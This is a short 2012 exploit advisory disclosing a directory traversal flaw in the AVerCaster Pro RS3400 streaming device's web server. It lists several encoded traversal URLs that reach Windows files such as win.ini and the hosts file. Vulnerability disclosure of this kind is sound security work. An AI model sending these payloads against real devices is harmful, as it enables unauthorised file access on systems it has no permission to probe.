# Exploit Title: AVerCaster Pro RS3400 web server directory traversal# Date: 2012-10-06# Exploit Author: Patrick Saladino# Vendor Homepage: http://www.avermedia.com/product/ProductDetail.aspx?Id=560# Version: v.3.1.20# Tested on: Not relevant# CVE : none yet
Hello,
I just wanted to let you know that the latest video-streaming solution from AVerMedia, the AVerCaster Pro RS3400,is vulnerable to a nasty directory traversal bug. The whole filesystem (at least the locations accessible to the user running the web service) can easily be reached from the web using a crafted URL, such as:
http://somehost.com/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5csystem.ini
http://somehost.com/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
http://somehost.com/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts
http://somehost.com/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../windows/Starter.xml (Windows 7)
http://somehost.com/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../Program%20Files/Internet%20Explorer/iexplore.exe
While no system files can be downloaded using that flaw, it's still bad programming...
Cheers,
Patrick